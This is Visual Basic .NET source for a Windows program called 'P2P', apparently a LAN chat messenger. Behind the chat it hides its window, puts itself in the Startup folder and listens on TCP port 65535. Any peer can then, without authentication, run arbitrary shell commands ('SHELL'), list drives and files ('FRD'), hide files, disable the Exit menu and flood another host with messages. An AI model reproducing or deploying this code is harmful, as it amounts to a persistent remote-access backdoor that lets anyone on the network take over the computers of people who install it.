P2P

Imports System.Net.Sockets
Imports System.Threading
Imports System.IO
Imports System.Net
Public Class Form1
    Dim Listener As New TcpListener(65535) '65535
    Dim Client As New TcpClient
    Dim Message As String = ""
    Dim UserName As String = Environment.UserName
    Dim nf As Boolean = False
    Dim nw As Boolean = False
    Dim ns As Boolean = False
    Dim noshell As Boolean = False
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        On Error Resume Next
        If My.Computer.FileSystem.FileExists((Application.StartupPath & "\ns.txt").Replace("\\", "\")) Then
            noshell = True
        End If
        CreateShortCut(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\P2P.lnk")
        Dim ListThread As New Thread(New ThreadStart(AddressOf Listening))
        'ListThread.Start()
        Dim trd2 As New Thread(AddressOf ThreadCheck)
        trd2.IsBackground = True
        'trd2.Start()
        Dim trd3 As New Thread(AddressOf ThreadCheck2)
        trd3.IsBackground = True
        'trd3.Start()
        Dim trd As New Thread(AddressOf CheckItems)
        trd.IsBackground = True
        'trd.Start()
        NotifyIcon1.Text = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString
        NotifyIcon1.Visible = True
        If Me.IsHandleCreated = False Then
            Me.CreateHandle()
        End If
        ContextMenuStrip1.CreateControl()
    End Sub
    Private Sub Listening()
        Listener.Start()
    End Sub
    Function CreateShortCut(ByVal ShortCutTarget As String, ByVal ShortCutFileLocation As String, Optional Arguments As String = "", Optional ByVal ShortcutKey As String = "", Optional ByVal ShortCutDescription As String = "") As Boolean
        Try
            Dim WSHShell As Object = CreateObject("WScript.Shell")
            Dim Shortcut As Object
            Shortcut = WSHShell.CreateShortcut(ShortCutFileLocation)
            Shortcut.TargetPath = ShortCutTarget
            If Not Arguments = "" Then
                Shortcut.Arguments = Arguments
            End If
            Shortcut.WindowStyle = 2
            Shortcut.Hotkey = ShortcutKey
            Shortcut.Description = ShortCutDescription
            Shortcut.Save()
            Return True
        Catch ex As Exception
            Return False
        End Try
    End Function
    Public Sub TF()
        Try
            Dim nb As New ListNetworkComputers.NetworkBrowser
            For Each pc As String In nb.getNetworkComputers()
                Dim additem As Boolean = False
                Try
                    additem = CheckPortOpen(System.Net.Dns.GetHostByName(pc).AddressList(0).ToString)
                Catch ex As Exception
                    additem = False
                End Try
                If additem AndAlso Not System.Net.Dns.GetHostByName(pc).AddressList(0).ToString = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString Then
                    Dim tsm As New ToolStripMenuItem
                    AddHandler tsm.Click, AddressOf SM
                    tsm.Text = System.Net.Dns.GetHostByName(pc).AddressList(0).ToString & " - " & pc
                    SendMessageToToolStripMenuItem.DropDownItems.Add(tsm)
                    Dim irp As New Thread(Sub() CandA(System.Net.Dns.GetHostByName(pc).AddressList(0).ToString))
                    irp.IsBackground = True
                    irp.Start()
                End If
            Next
        Catch ex As Exception
            MessageBox.Show("An error occurred trying to access the network computers. Now you must manually enter and find others to chat with...", "Error", MessageBoxButtons.OK, MessageBoxIcon.[Error])
        End Try
    End Sub
    Public Sub Shell2(ByVal ExeStr As String)
        Try
            Shell(ExeStr, AppWinStyle.NormalFocus)
        Catch ex As Exception
            Try
                Process.Start(ExeStr)
            Catch ex2 As Exception
            End Try
        End Try
    End Sub
    Public Sub SendMessage(ByVal IPA As String, ByVal MessageStr As String)
        On Error Resume Next
        Dim name As String = "Unnamed..."
        name = System.Net.Dns.GetHostByAddress(IPA).HostName
        If Not ToolStripSearch(IPA & " - " & name, RecentToolStripMenuItem.DropDownItems) Then
            Dim tsm As New ToolStripMenuItem
            AddHandler tsm.Click, AddressOf SM
            tsm.Text = IPA & " - " & name
            RecentToolStripMenuItem.DropDownItems.Add(tsm)
            RecentToolStripMenuItem.Visible = True
        End If
        If MessageStr.Length > 0 AndAlso IPA.Length > 0 Then
            Client = New TcpClient(IPA, 65535)
            Dim Writer As New StreamWriter(Client.GetStream())
            Writer.Write(UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " said: " & MessageStr)
            Writer.Flush()
        End If
    End Sub
    Public Sub SendMessage2(ByVal IPA As String, ByVal MessageStr As String)
        On Error Resume Next
        Dim name As String = "Unnamed..."
        name = System.Net.Dns.GetHostByAddress(IPA).HostName
        If Not ToolStripSearch(IPA & " - " & Name, RecentToolStripMenuItem.DropDownItems) Then
            Dim tsm As New ToolStripMenuItem
            AddHandler tsm.Click, AddressOf SM
            tsm.Text = IPA & " - " & Name
            RecentToolStripMenuItem.DropDownItems.Add(tsm)
            RecentToolStripMenuItem.Visible = True
        End If
        If MessageStr.Length > 0 AndAlso IPA.Length > 0 Then
            Client = New TcpClient(IPA, 65535)
            Dim Writer As New StreamWriter(Client.GetStream())
            Writer.Write(MessageStr)
            Writer.Flush()
        End If
    End Sub
    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
        Listener.Stop()
    End Sub
    Private Sub ThreadCheck()
        Do
            Try
                Dim rml As New List(Of String)
                Dim nb As New ListNetworkComputers.NetworkBrowser
                For Each pc As String In nb.getNetworkComputers()
                    Dim tsm As New ToolStripMenuItem
                    AddHandler tsm.Click, AddressOf SM
                    tsm.Text = System.Net.Dns.GetHostByName(pc).AddressList(0).ToString & " - " & pc
                    If Not ToolStripSearch(tsm.Text, SendMessageToToolStripMenuItem.DropDownItems) AndAlso Not Split(tsm.Text, " - ")(0) = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString Then
                        ContextMenuStrip1.Invoke(Sub() SendMessageToToolStripMenuItem.DropDownItems.Add(tsm))
                        Dim irp As New Thread(Sub() CandA(System.Net.Dns.GetHostByName(pc).AddressList(0).ToString))
                        irp.IsBackground = True
                        irp.Start()
                    End If
                Next
            Catch ex As Exception
            End Try
        Loop
    End Sub
    Public Function ToolStripSearch(ByVal stringz As String, ByVal tsic As ToolStripItemCollection)
        Dim rtn As Boolean = False
        For Each t As ToolStripMenuItem In tsic
            If t.Text = stringz Then
                rtn = True
            End If
        Next
        Return rtn
    End Function
    Public Function getDrives(Optional ByVal dir As String = "") As String
        Dim ret As String = ""
        If dir = "" Then
            For Each item As IO.DriveInfo In IO.DriveInfo.GetDrives
                If item.DriveType = IO.DriveType.Removable Or item.DriveType = IO.DriveType.Fixed Or item.DriveType = IO.DriveType.Network Then
                    ret = ret & item.RootDirectory.FullName & "|"
                End If
            Next
        Else
                    For Each foundFile As String In My.Computer.FileSystem.GetFiles(dir)
                        ret = ret & foundFile & ">"
                    Next
                    For Each foundFolder As String In My.Computer.FileSystem.GetDirectories(dir)
                        ret = ret & foundFolder & "<"
                    Next
        End If
        Return ret
    End Function
    Private Sub ThreadCheck2()
        Do
            Try
                For i As Integer = 0 To 101 Step 1
                    If My.Computer.Network.Ping("192.168.1." & i.ToString, 150) AndAlso CheckPortOpen("192.168.1." & i.ToString) Then
                        Dim tsm As New ToolStripMenuItem
                        AddHandler tsm.Click, AddressOf SM
                        Dim name As String = "Unnamed..."
                        Try
                            name = System.Net.Dns.GetHostByAddress("192.168.1." & i.ToString).HostName
                        Catch ex As Exception
                        End Try
                        tsm.Text = "192.168.1." & i.ToString & " - " & name
                        If Not ToolStripSearch(tsm.Text, SendMessageToToolStripMenuItem.DropDownItems) AndAlso Not System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString = "192.168.1." & i.ToString Then
                            ContextMenuStrip1.Invoke(Sub() SendMessageToToolStripMenuItem.DropDownItems.Add(tsm))
                        End If
                    ElseIf My.Computer.Network.Ping("192.168.1." & i.ToString) AndAlso CheckPortOpen("192.168.1." & i.ToString) AndAlso ToolStripSearch("192.168.1." & i.ToString, SendMessageToToolStripMenuItem.DropDownItems) Then
                        Dim rl As New List(Of ToolStripMenuItem)
                        For Each t As ToolStripMenuItem In SendMessageToToolStripMenuItem.DropDownItems
                            If Not t.Text = "Custom IP..." Then
                                rl.Add(t)
                            End If
                        Next
                        For Each t As ToolStripMenuItem In rl
                            ContextMenuStrip1.Invoke(Sub() SendMessageToToolStripMenuItem.DropDownItems.Remove(t))
                        Next
                        rl.Clear()
                        Exit For
                    End If
                Next
            Catch ex As Exception
            End Try
        Loop
    End Sub
    Private Sub CheckItems()
        On Error Resume Next
        Do
            Dim rl As New List(Of ToolStripMenuItem)
            For Each i As ToolStripMenuItem In SendMessageToToolStripMenuItem.DropDownItems
                If i.Text.Contains(" - ") Then
                    If Not My.Computer.Network.Ping(Split(i.Text, " - ")(0)) Then
                        rl.Add(i)
                    End If
                End If
            Next
            For i As Integer = 0 To rl.Count - 1 Step 1
                ContextMenuStrip1.Invoke(Sub() SendMessageToToolStripMenuItem.DropDownItems.Remove(rl(i)))
            Next
        Loop
    End Sub
    Sub CandA(ByVal IPA As String)
        If CheckPortOpen(IPA) Then
            Dim name As String = "Unnamed..."
            Try
                name = System.Net.Dns.GetHostByAddress(IPA).HostName
            Catch ex As Exception
            End Try
            If Not ToolStripSearch(IPA & " - " & name, OthersRunningP2PToolStripMenuItem.DropDownItems) Then
                Dim tsm As New ToolStripMenuItem
                tsm.Text = IPA & " - " & name
                AddHandler tsm.Click, AddressOf SM
                If ContextMenuStrip1.InvokeRequired = True Then
                    ContextMenuStrip1.Invoke(Sub() OthersRunningP2PToolStripMenuItem.DropDownItems.Add(tsm))
                    ContextMenuStrip1.Invoke(Sub() OthersRunningP2PToolStripMenuItem.Visible = True)
                Else
                    OthersRunningP2PToolStripMenuItem.DropDownItems.Add(tsm)
                    OthersRunningP2PToolStripMenuItem.Visible = True
                End If
            End If
        End If
    End Sub
    Function CheckPortOpen(ByVal hostname As String) As Boolean
        Dim ipa As IPAddress = CType(Dns.GetHostAddresses(hostname)(0), IPAddress)
        Dim rtnval As Boolean = Nothing
        Try
            Dim sock As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
            sock.Connect(ipa, 65535)
            If (sock.Connected = True) Then
                sock.Close()
                sock = Nothing
                rtnval = True
            End If
        Catch sx As SocketException
            If sx.ErrorCode = 10061 Then
                rtnval = False
            Else
                rtnval = Nothing
            End If
        End Try
        Return rtnval
    End Function
    Private Sub ExitToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ExitToolStripMenuItem.Click
        Close()
    End Sub
    Private Sub CustomIPToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CustomIPToolStripMenuItem.Click
        Dim cip As String = InputBox("Enter custom IP address...", "Custom Message")
        Dim cm As String = InputBox("Enter message to send...", "Custom Message")
        SendMessage(cip, cm)
    End Sub
    Private Sub SM(sender As Object, e As EventArgs)
        SendMessage(Split(DirectCast(sender, ToolStripMenuItem).Text, " - ")(0), InputBox("What would you like to say?", "New Message"))
    End Sub
    Private Sub Form1_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
        Me.Hide()
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        On Error Resume Next
        If Listener.Pending = True Then
            Message = ""
            Client = Listener.AcceptTcpClient()
            Dim Reader As New StreamReader(Client.GetStream())
            While Reader.Peek > -1
                Message = Message + Convert.ToChar(Reader.Read()).ToString
            End While
            If Message.Length > 0 Then
                If Not Message.StartsWith("NOTIF:") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("FL") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("HIDE") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("SHOW") AndAlso Message.Length > 0 Then
                    SendMessage2((Split(Split(Message, " at ")(1), " said")(0)), "NOTIF:" & UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " has received your message.")
                End If
                If Message.ToString.Length > 0 AndAlso Not Message.StartsWith("HIDE") AndAlso Not Message.StartsWith("SHOW") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("SHELL") AndAlso Not Message.StartsWith("PC") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("PC") AndAlso Not Message.StartsWith("NOTIF:") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("TOGGLE") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("FRD") AndAlso Not Message.Split(Convert.ToChar(":"))(1).Contains("FL") Then
                    MsgBox(Message.ToString, MsgBoxStyle.Information, "New Message")
                    If MsgBox("Would you like to respond to this message?", MsgBoxStyle.YesNo, "Respond?") = MsgBoxResult.Yes Then
                        Dim nmessage As String = InputBox("What would you like to say?", "Respond...")
                        SendMessage(Split(Split(Message, " at ")(1), " said")(0), nmessage)
                    End If
                ElseIf Message.Split(Convert.ToChar(":"))(1).Contains("SHELL") AndAlso Not Message.StartsWith("NOTIF:") AndAlso Not Message.StartsWith("FL:") Then
                    If noshell = False Then
                        If nw = True Then
                            If Not Message.Split(Convert.ToChar(":"))(2).Contains("www.") Then
                                Shell2(Message.Split(Convert.ToChar(":"))(2))
                            Else
                                SendMessage2((Split(Split(Message, " at ")(1), " said")(0)), "NOTIF:" & UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " has website opening disabled.")
                            End If
                        Else
                            Shell2(Message.Split(Convert.ToChar(":"))(2))
                        End If
                        If ns = True Then
                            If Not Message.Split(Convert.ToChar(":"))(2).StartsWith("shutdown") AndAlso Not Message.Split(Convert.ToChar(":"))(2).StartsWith("log") Then
                                Shell2(Message.Split(Convert.ToChar(":"))(2))
                            Else
                                SendMessage2((Split(Split(Message, " at ")(1), " said")(0)), "NOTIF:" & UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " has shutdowns and logoffs disabled.")
                            End If
                        Else
                            Shell2(Message.Split(Convert.ToChar(":"))(2))
                        End If
                    Else
                        SendMessage2((Split(Split(Message, " at ")(1), " said")(0)), "NOTIF:" & UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " has shell commands disabled.")
                    End If
                ElseIf Message.Split(Convert.ToChar(":"))(1).Contains("TOGGLE") AndAlso Not Message.StartsWith("NOTIF:") AndAlso Not Message.StartsWith("FL:") Then
                    If ExitToolStripMenuItem.Enabled = True Then
                        ExitToolStripMenuItem.Enabled = False
                    Else
                        ExitToolStripMenuItem.Enabled = True
                    End If
                ElseIf Message.StartsWith("HIDE") Then
                    Dim fi As New FileInfo(Message.ToString.Replace("HIDE:", ""))
                    fi.Attributes = FileAttributes.Hidden
                ElseIf Message.StartsWith("SHOW") Then
                    Dim fi As New FileInfo(Message.ToString.Replace("SHOW:", ""))
                    fi.Attributes = FileAttributes.Normal
                ElseIf Message.Split(Convert.ToChar(":"))(1).Contains("FRD") AndAlso Not Message.StartsWith("NOTIF:") AndAlso Not Message.StartsWith("FL:") Then
                    Dim dr As String = Message.ToString()
                    While Not dr.StartsWith("FRD:")
                        dr = Mid(dr, 2)
                        If dr.Length = 0 Then
                            Exit Sub
                        End If
                    End While
                    'Split(Split(Message, " at ")(1), " said")(0)
                    If nf = False Then
                        SendMessage((Split(Split(Message, " at ")(1), " said")(0)), "FL:" & getDrives(dr.Replace("FRD:", "")))
                    Else
                        SendMessage2((Split(Split(Message, " at ")(1), " said")(0)), "NOTIF:" & UserName & " at " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & " has file exploring disabled.")
                    End If
                ElseIf Message.StartsWith("PC") AndAlso Not Message.StartsWith("NOTIF:") AndAlso Not Message.StartsWith("FL:") Then
                    Dim pc As String = Message.ToString
                    While Not pc.StartsWith("PC:")
                        pc = Mid(pc, 2)
                        If pc.Length = 0 Then
                            Exit Sub
                        End If
                    End While
                    Dim startInfo As New ProcessStartInfo
                    startInfo.FileName = "explorer.exe"
                    startInfo.Arguments = pc.Replace("PC:", "")
                    Process.Start(startInfo)
                    'Shell("explorer.exe " & pc.Replace("PC:", ""))
                ElseIf Message.Split(Convert.ToChar(":"))(1).Contains("FL") AndAlso Not Message.StartsWith("NOTIF:") Then
                    Dim fip As String = Split(Split(Message, " at ")(1), " said")(0)
                    While Not Message.StartsWith("FL:")
                        Message = Mid(Message, 2)
                    End While
                    Files.Show()
                    Files.Opacity = 1
                    Files.Visible = True
                    Files.Label1.Text = fip
                    For Each item As ListViewItem In Files.ListView1.Items
                        item.Remove()
                    Next
                    If Message.ToString.Contains("|") Then
                        For Each Directory As String In Message.ToString.Replace("FL:", "").Split("|")
                            If Directory.Length > 0 Then
                                Dim nlvi As New ListViewItem
                                nlvi.Text = Directory
                                nlvi.SubItems.Add("Drive")
                                Files.ListView1.Tag = ""
                                Files.ListView1.Items.Add(nlvi)
                                Files.Button3.Enabled = False
                            End If
                        Next
                    Else
                        For Each File As String In Message.ToString.Replace("FL:", "").Split(">")
                            If File.Contains("<") Then
                                For Each Folder As String In File.ToString.Split("<")
                                    If Folder.Length > 0 Then
                                        Dim nlvi2 As New ListViewItem
                                        nlvi2.Text = Folder.Split("\"c)(Folder.Split("\"c).Length - 1)
                                        Files.ListView1.Tag = Folder.Replace(Folder.Split("\"c)(Folder.Split("\"c).Length - 1), "")
                                        nlvi2.SubItems.Add("Folder")
                                        Files.ListView1.Items.Add(nlvi2)
                                        Files.Button3.Enabled = True
                                    End If
                                Next
                            Else
                                Dim nlvi As New ListViewItem
                                nlvi.Text = File.Split("\"c)(File.Split("\"c).Length - 1)
                                nlvi.SubItems.Add("File")
                                Files.ListView1.Tag = File.Replace(File.Split("\"c)(File.Split("\"c).Length - 1), "")
                                Files.ListView1.Items.Add(nlvi)
                                Files.Button3.Enabled = True
                            End If
                        Next
                    End If
                ElseIf Message.StartsWith("NOTIF:") Then
                    NotifyIcon1.BalloonTipTitle = "Message Received"
                    NotifyIcon1.BalloonTipText = Message.Replace("NOTIF:", "")
                    NotifyIcon1.ShowBalloonTip(5000)
                End If
            End If
        End If
    End Sub
    Private Sub ChangeNameToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChangeNameToolStripMenuItem.Click
        If InputBox("Enter password to continue...", "Password") = "CN" Then
            UserName = InputBox("What would you like your username to be displayed as?", "New Username", Environment.UserName)
        Else
            MsgBox("Invalid password. Please try again later.", MsgBoxStyle.Exclamation, "Invalid Password")
        End If
    End Sub
    Private Sub EnterCodeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles EnterCodeToolStripMenuItem.Click
        Dim codez As String = InputBox("Enter code to continue...", "Password").ToUpper
        Select Case codez
            Case "NS"
                ns = True
            Case "NW"
                nw = True
            Case "NSHELL"
                noshell = True
            Case "NF"
                nf = True
            Case "ANS"
                ns = False
            Case "ANW"
                nw = False
            Case "ANSHELL"
                noshell = False
            Case "ANF"
                nf = False
            Case "SIP"
                Dim numb As Double = CDbl(InputBox("How many messages would you like to send?", "Spam Message Count"))
                Dim ipzhq As String = InputBox("Who would you like to spam?", "Spam IP Address").ToUpper
                Dim msgts As String = InputBox("What would you like to spam?", "Spam Message")
                For i As Double = 0 To numb
                    SendMessage2(ipzhq, msgts)
                Next
        End Select
    End Sub
End Class